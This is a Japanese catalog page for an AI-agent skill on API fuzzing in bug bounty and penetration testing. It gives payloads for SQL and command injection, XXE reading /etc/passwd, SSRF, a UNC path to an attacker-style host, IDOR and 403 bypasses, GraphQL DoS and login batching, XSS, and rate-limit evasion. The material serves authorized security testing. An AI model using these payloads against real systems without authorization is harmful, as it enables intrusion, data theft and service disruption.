api-fuzzing-bug-bounty
バグバウンティやペネトレーションテストにおいて、REST・SOAP・GraphQL APIを対象とした包括的なテスト手法を提供します。脆弱性の発見、認証バイパス、IDORの悪用、APIに特化した攻撃ベクターを網羅しており、API診断を体系的に進めたい場面で活用できます。
description の原文を見る
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
SKILL.md 本文
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
API Fuzzing for Bug Bounty
目的
REST、SOAP、GraphQL APIのテスト技術を包括的に提供し、バグバウンティハンティングと侵入テスト業務における脆弱性の発見、認証回避、IDOR悪用、API固有の攻撃ベクトルをカバーします。
入力/前提条件
- Burp Suite または同様のプロキシツール
- API ワードリスト (SecLists、api_wordlist)
- REST/GraphQL/SOAP プロトコルの理解
- スクリプト作成用の Python
- ターゲット API エンドポイントとドキュメント (利用可能な場合)
出力/成果物
- 特定された API 脆弱性
- IDOR 悪用の証明
- 認証回避技術
- SQL インジェクション ポイント
- 不正なデータアクセスのドキュメンテーション
API タイプ概要
| タイプ | プロトコル | データ形式 | 構造 |
|---|---|---|---|
| SOAP | HTTP | XML | ヘッダ + ボディ |
| REST | HTTP | JSON/XML/URL | 定義済みエンドポイント |
| GraphQL | HTTP | カスタムクエリ | 単一エンドポイント |
コアワークフロー
ステップ 1: API リコネッサンス
API タイプを特定し、エンドポイントを列挙します:
# Swagger/OpenAPI ドキュメントの確認
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# API 発見用 Kiterunner の使用
kr scan https://target.com -w routes-large.kite
# Swagger からパスを抽出
python3 json2paths.py swagger.json
ステップ 2: 認証テスト
# 異なるログインパスをテスト
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# 認証エンドポイントのレート制限をチェック
# レート制限がない場合 → ブルートフォース可能
# モバイルと Web API は別々にテスト
# 同じセキュリティ制御を想定しない
ステップ 3: IDOR テスト
Insecure Direct Object Reference は最も一般的な API 脆弱性です:
# 基本的な IDOR
GET /api/users/1234 → GET /api/users/1235
# ID がメールベースでも、数値を試す
/?user_id=111 instead of /?user_id=user@mail.com
# /me/orders vs /user/654321/orders をテスト
IDOR 回避技術:
# ID を配列でラップ
{"id":111} → {"id":[111]}
# JSON ラップ
{"id":111} → {"id":{"id":111}}
# ID を 2 度送信
URL?id=<LEGIT>&id=<VICTIM>
# ワイルドカード注入
{"user_id":"*"}
# パラメータ汚染
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
ステップ 4: インジェクション テスト
JSON 内の SQL インジェクション:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (脆弱性あり!)
{"id":"56456 AND sleep(15)#"} → 15 秒スリープ
コマンド インジェクション:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux コマンド インジェクション
api.url.com/endpoint?name=file.txt;ls%20/
XXE インジェクション:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
API 経由の SSRF:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET Path.Combine 脆弱性:
# .NET アプリが Path.Combine(path_1, path_2) を使用する場合
# パストラバーサルをテスト
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
ステップ 5: メソッド テスト
# すべての HTTP メソッドをテスト
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# コンテンツ タイプを切り替え
Content-Type: application/json → application/xml
GraphQL 固有のテスト
イントロスペクション クエリ
バックエンド スキーマ全体を取得:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL エンコード版:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# 他のユーザー ID へのアクセスを試行
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
GraphQL SQL/NoSQL インジェクション
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
レート制限回避 (バッチ処理)
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
GraphQL DoS (ネストされたクエリ)
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
GraphQL XSS
# GraphQL エンドポイント経由の XSS
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL エンコード XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL ツール
| ツール | 目的 |
|---|---|
| GraphCrawler | スキーマ発見 |
| graphw00f | フィンガープリント |
| clairvoyance | スキーマ再構成 |
| InQL | Burp 拡張機能 |
| GraphQLmap | 悪用 |
エンドポイント回避技術
403/401 を受け取った場合、これらの回避を試みてください:
# 元のブロック済みリクエスト
/api/v1/users/sensitivedata → 403
# 回避試行
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
出力悪用
PDF エクスポート 攻撃
<!-- PDF エクスポート経由の LFI -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- PDF エクスポート経由の SSRF -->
<object data="http://127.0.0.1:8443"/>
<!-- ポートスキャン -->
<img src="http://127.0.0.1:445"/>
<!-- IP 開示 -->
<img src="https://iplogger.com/yourcode.gif"/>
制限経由の DoS
# 通常のリクエスト
/api/news?limit=100
# DoS 試行
/api/news?limit=9999999999
一般的な API 脆弱性チェックリスト
| 脆弱性 | 説明 |
|---|---|
| API 公開 | 保護されていないエンドポイントの公開 |
| キャッシュミス設定 | センシティブデータの不正なキャッシング |
| トークン 公開 | レスポンスまたは URL 内の API キー/トークン |
| JWT 弱点 | 署名が弱い、有効期限なし、アルゴリズム混同 |
| IDOR / BOLA | オブジェクトレベルの認可破綻 |
| ドキュメント化されていないエンドポイント | 隠されたアドミン/デバッグ エンドポイント |
| 異なるバージョン | 古い API バージョンのセキュリティギャップ |
| レート制限 | レート制限がない、または回避可能 |
| 競合状態 | TOCTOU 脆弱性 |
| XXE インジェクション | XML パーサー悪用 |
| コンテンツタイプの問題 | JSON/XML 間の切り替え |
| HTTP メソッド改ざん | GET→DELETE/PUT 悪用 |
クイックリファレンス
| 脆弱性 | テストペイロード | リスク |
|---|---|---|
| IDOR | user_id パラメータを変更 | 高 |
| SQLi | JSON 内の ' OR 1=1-- | 極度 |
| コマンド インジェクション | ; ls / | 極度 |
| XXE | ENTITY を含む DOCTYPE | 高 |
| SSRF | パラメータ内の内部 IP | 高 |
| レート制限回避 | バッチリクエスト | 中 |
| メソッド改ざん | GET→DELETE | 高 |
ツール リファレンス
| カテゴリ | ツール | URL |
|---|---|---|
| API ファジング | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API ファジング | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API ファジング | Astra | github.com/flipkart-incubator/Astra |
| API セキュリティ | apicheck | github.com/BBVA/apicheck |
| API 発見 | Kiterunner | github.com/assetnote/kiterunner |
| API 発見 | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API ツールキット | APIKit | github.com/API-Security/APIKit |
| API キー | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| ワードリスト | SecLists | github.com/danielmiessler/SecLists |
| Swagger パーサー | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger ルート | swagroutes | github.com/amalmurali47/swagroutes |
| API マインドマップ | MindAPI | dsopas.github.io/MindAPI/play |
| JSON パス | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
制約事項
必須:
- モバイル、Web、デベロッパー API を別々にテスト
- すべての API バージョン (/v1、/v2、/v3) を確認
- 認証済みおよび未認証アクセスの両方を検証
禁止:
- API バージョン間で同じセキュリティ制御を想定する
- ドキュメント化されていないエンドポイントのテストをスキップする
- レート制限チェックを無視する
推奨:
X-Requested-With: XMLHttpRequestヘッダを追加してフロントエンドをシミュレート- archive.org で過去の API エンドポイントを確認
- センシティブ操作の競合状態をテスト
例
例 1: IDOR 悪用
# オリジナルリクエスト (自分のデータ)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# 変更されたリクエスト (他のユーザーのデータ)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# レスポンスは他のユーザーの請求書データを露開
例 2: GraphQL イントロスペクション
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
トラブルシューティング
| 問題 | 解決方法 |
|---|---|
| API が何も返さない | X-Requested-With: XMLHttpRequest ヘッダを追加 |
| すべてのエンドポイントで 401 | ?user_id=1 パラメータを追加してみる |
| GraphQL イントロスペクションが無効 | clairvoyance を使用してスキーマを再構成 |
| レート制限される | IP ローテーションまたはバッチリクエストを使用 |
| エンドポイントが見つからない | Swagger、archive.org、JS ファイルを確認 |
使用するタイミング
このスキルは、概要で説明されているワークフローまたはアクションを実行するために適用可能です。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- sickn33
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/sickn33/antigravity-awesome-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。